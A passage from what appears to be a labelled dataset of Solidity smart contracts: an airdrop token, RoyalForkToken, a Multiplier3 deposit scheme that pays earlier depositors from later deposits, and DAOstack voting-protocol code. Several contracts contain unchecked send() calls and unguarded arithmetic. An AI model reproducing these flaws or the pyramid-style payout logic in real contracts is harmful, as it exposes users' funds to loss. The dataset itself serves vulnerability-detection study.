airdrop_times[_beneficiary] <= air_drop_count
);
}
uint256 tokenAmount = air_drop_rate;
uint256 decimalsAmount = mul(10**uint256(decimals), tokenAmount);
require
(
balances[air_drop_address] >= decimalsAmount
);
assert
(
decimalsAmount > 0
);
uint256 all = add(balances[air_drop_address], balances[_beneficiary]);
balances[air_drop_address] = sub(balances[air_drop_address], decimalsAmount);
balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount);
assert
(
all == add(balances[air_drop_address], balances[_beneficiary])
);
emit TokenGiven
(
msg.sender,
_beneficiary,
msg.value,
tokenAmount
);
return true;
}
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public
{
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal
{
require(_value <= balances[_who]);
balances[_who] = sub(balances[_who], _value);
totalSupply = sub(totalSupply, _value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
modifier admin_only()
{
require(msg.sender==admin_address);
_;
}
function setAdmin( address new_admin_address )
public
admin_only
returns (bool)
{
require(new_admin_address != address(0));
admin_address = new_admin_address;
return true;
}
function setAirDrop( bool status )
public
admin_only
returns (bool)
{
air_drop_switch = status;
return true;
}
function setDirectDrop( bool status )
public
admin_only
returns (bool)
{
direct_drop_switch = status;
return true;
}
function withDraw()
public
{
require(msg.sender == admin_address || msg.sender == direct_drop_withdraw_address);
require(address(this).balance > 0);
direct_drop_withdraw_address.transfer(address(this).balance);
}
function () external payable
{
if( msg.value > 0 )
buyTokens(msg.sender);
else
airDrop(msg.sender);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
} | 1 | 2,856 |
pragma solidity ^0.4.18;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract RoyalForkToken is Ownable, DetailedERC20("RoyalForkToken", "RFT", 0) {
using SafeMath for uint256;
struct Hodler {
bytes16 username;
uint64 balance;
uint16 canWithdrawPeriod;
}
mapping(address => Hodler) public hodlers;
mapping(bytes16 => address) public usernames;
uint256 public epoch = now;
uint16 public currentPeriod = 1;
uint64 public numHodlers;
uint64 public prevHodlers;
uint256 public prevBalance;
address minter;
mapping(address => mapping (address => uint256)) internal allowed;
event Mint(address indexed to, uint256 amount);
event PeriodEnd(uint16 indexed period, uint256 amount, uint64 hodlers);
event Donation(address indexed from, uint256 amount);
event Withdrawal(address indexed to, uint16 indexed period, uint256 amount);
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
function recover(bytes32 hash, bytes sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function newHodler(address user, bytes16 username, uint64 endowment) private {
require(usernames[username] == address(0));
require(hodlers[user].canWithdrawPeriod == 0);
hodlers[user].canWithdrawPeriod = currentPeriod;
hodlers[user].balance = endowment;
hodlers[user].username = username;
usernames[username] = user;
numHodlers += 1;
totalSupply += endowment;
Mint(user, endowment);
}
function setMinter(address newMinter) public onlyOwner {
minter = newMinter;
}
function newPeriod() public onlyOwner {
require(now >= epoch + 28 days);
currentPeriod++;
prevHodlers = numHodlers;
prevBalance = this.balance;
PeriodEnd(currentPeriod-1, prevBalance, prevHodlers);
}
function createHodler(address to, bytes16 username, uint64 amount) public onlyMinter {
newHodler(to, username, amount);
}
function mint(address user, uint64 amount) public onlyMinter {
require(hodlers[user].canWithdrawPeriod != 0);
require(hodlers[user].balance + amount > hodlers[user].balance);
hodlers[user].balance += amount;
totalSupply += amount;
Mint(user, amount);
}
function create(bytes16 username, uint64 endowment, bytes sig) public {
require(recover(keccak256(endowment, msg.sender), sig) == owner);
newHodler(msg.sender, username, endowment);
}
function withdraw() public {
require(hodlers[msg.sender].canWithdrawPeriod != 0);
require(hodlers[msg.sender].canWithdrawPeriod < currentPeriod);
hodlers[msg.sender].canWithdrawPeriod = currentPeriod;
uint256 payment = prevBalance / prevHodlers;
prevHodlers -= 1;
prevBalance -= payment;
msg.sender.send(payment);
Withdrawal(msg.sender, currentPeriod-1, payment);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return hodlers[_owner].balance;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(hodlers[_to].canWithdrawPeriod != 0);
require(_value <= hodlers[msg.sender].balance);
require(hodlers[_to].balance + uint64(_value) > hodlers[_to].balance);
hodlers[msg.sender].balance -= uint64(_value);
hodlers[_to].balance += uint64(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(hodlers[_to].canWithdrawPeriod != 0);
require(_value <= hodlers[_from].balance);
require(_value <= allowed[_from][msg.sender]);
require(hodlers[_to].balance + uint64(_value) > hodlers[_to].balance);
hodlers[_from].balance -= uint64(_value);
hodlers[_to].balance += uint64(_value);
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function RoyalForkToken() public {
minter = msg.sender;
}
function() payable public {
Donation(msg.sender, msg.value);
}
} | 0 | 2,244 |
pragma solidity ^0.4.25;
contract Multiplier3 {
address constant private TECH = 0x2392169A23B989C053ECED808E4899c65473E4af;
address constant private PROMO_AND_PRIZE = 0xdA149b17C154e964456553C749B7B4998c152c9E;
uint constant public TECH_PERCENT = 1;
uint constant public PROMO_AND_PRIZE_PERCENT = 6;
uint constant public MAX_INVESTMENT = 10 ether;
uint constant public MULTIPLIER = 117;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_INVESTMENT);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint adv = msg.value*PROMO_AND_PRIZE_PERCENT/100;
PROMO_AND_PRIZE.send(adv);
uint support = msg.value*TECH_PERCENT/100;
TECH.send(support);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=currentReceiverIndex; i<queue.length; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 0 | 298 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
